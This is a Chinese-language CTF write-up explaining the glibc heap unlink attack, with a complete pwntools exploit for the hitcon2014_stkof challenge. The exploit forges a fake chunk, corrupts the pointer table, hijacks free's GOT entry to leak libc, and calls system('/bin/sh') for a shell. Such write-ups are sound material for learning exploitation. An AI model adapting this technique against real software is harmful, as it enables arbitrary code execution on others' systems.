Unlink-hitcon2014_stkof

文章发布时间:

最后更新时间:

文章总字数:
941

预计阅读时间:
4 分钟

页面浏览:加载中...

unlink 攻击

unlink操作原理

当进行smallbinchunk 或者 unsortedchunk合并时,会将在链中的块unlink(解链)出来
unlink操作大白话就是说:
被unlink的块(以后叫它Q)前一个块的bk指向Q的bk
然后再把Q后一个块的fd指向Q的fd

攻击目的

篡改目标地址的指针指向它的地址-0x18
一般来说用来攻击块的指针表,实现任意地址写

攻击方式

会被篡改的位置会被系统识别为一个fd指针,这个位置我们称为 &target
那么这个块的开头就是 &target+0x10
fd 是 &target,bk是 &target-0x18

Q的fd 应填为&target - 0x18
bk应填为 &target - 0x10
结合unlink图
最后进行了两次赋值操作
target = &target - 0x10
target = &target - 0x18
也就也是 最后target 这个地址的值变成了 &target - 0x18

1
2
3
4
5
6
7
8
9
指针表

这个位置 -0x18
------- -0x10
p_chunk1 -0x8
p_chunk2 <--往前推0x18
p_chunk3

p_chunk4

例题

hitcon2014_stkof

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from pwn import *
from std_pwn import *

context(os='linux', arch='amd64', log_level='debug',terminal=['tmux','splitw','-h'])
elf = ELF("./stkof")
libc = ELF("./libc-2.31.so")

free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

def alloc(size):
sl(str(1))
sl(str(size))
ru("OK")

def fill(idx,content):
sl(str(2))
sl(str(idx))
sl(str(len(content)))
sl(content)
ru("OK")

def free(idx):
sl(str(3))
sl(str(idx))

alloc(0x30) #隔离前面的块
alloc(0x30) #放置 fack_chunk , 用来前向合并
alloc(0x80) #一个unsorted_bin,用堆溢出修改presize
alloc(0x30) #等等有用

'''
unlink 攻击:
当进行smallbinchunk 或者 unsortedchunk合并时,会将在链中的块unlink(解链)出来
unlink操作大白话就是说:
被unlink的块(以后叫它Q)前一个块的bk指向Q的bk
然后再把Q后一个块的fd指向Q的fd
攻击目标:
篡改目标地址的指针变成一个指向它周围的指针
一般来说用来攻击块的指针表,实现任意地址写
攻击方式:

会被篡改的位置会被系统识别为一个fd指针,这个位置我们称为 &target
那么这个块的开头就是 &target+0x10
fd 是 &target,bk是 &target-0x18

Q的fd 应填为&target - 0x18
bk应填为 &target - 0x10
结合unlink图
最后进行了两次赋值操作
target = &target - 0x10
target = &target - 0x18
也就也是 最后target 这个地址的值变成了 &target - 0x18
'''

'''
指针表

这个位置 -0x18
------- -0x10
p_chunk1 -0x8
p_chunk2 <--往前推0x18
p_chunk3
p_chunk4
-------

'''

target = 0x602150 # 这个位置在 指针表里 是chunk2的指针地址 根据前面的理论,会把 上图所示地址放入 chunk2指针中
fd = target - 0x18 #这部分是死的
bk = target - 0x10


payload = p64(0)+p64(0x31)
payload +=p64(fd)+p64(bk)
payload +=0x10*b"a"
payload +=p64(0x30)+p64(0x90) #溢出修改pre_size 多修改一字节,防止回车进入size
fill(2,payload) #布置堆,为free以后前向合并 fake_chunk准备
# gdba()
free(3) #释放一个unsortedchunk,触发前向合并
# print("get")
# pause()

'''
.got.plt:0000000000602018 40 41 E0 00 00 00 00 00 off_602018 dq offset free ; DATA XREF: _free↑r
.got.plt:0000000000602020 48 41 E0 00 00 00 00 00 off_602020 dq offset puts ; DATA XREF: _puts↑r
.got.plt:0000000000602028 50 41 E0 00 00 00 00 00 off_602028 dq offset fread ; DATA XREF: _fread↑r
'''
payload = b'a'*0x10 + p64(free_got) +p64(puts_got) # 踩坑 fill修改的是 p+0x10 因为默认malloc返回chunk开头,而fill修改
fill(2,payload) # 这个时候chunk2 指针已经被修改 到了指针表上头 修改chunk1指针使其指向free的got表,等等用fill(1,context)修改 free 和puts的plt
fill(1,p64(puts_plt))# 修改 free的got到puts
gdba()
free(2)#输出 puts_got
puts_addr=uu64(ru("\x7f")[-6:])
log(puts_addr)
libc_base=puts_addr - libc.sym['puts']
system_addr =libc_base+libc.sym['system']
log(libc_base)
fill(1,p64(system_addr))
fill(4,b'/bin/sh\0')
free(4)
p.interactive()
#终于通了,凑个一百行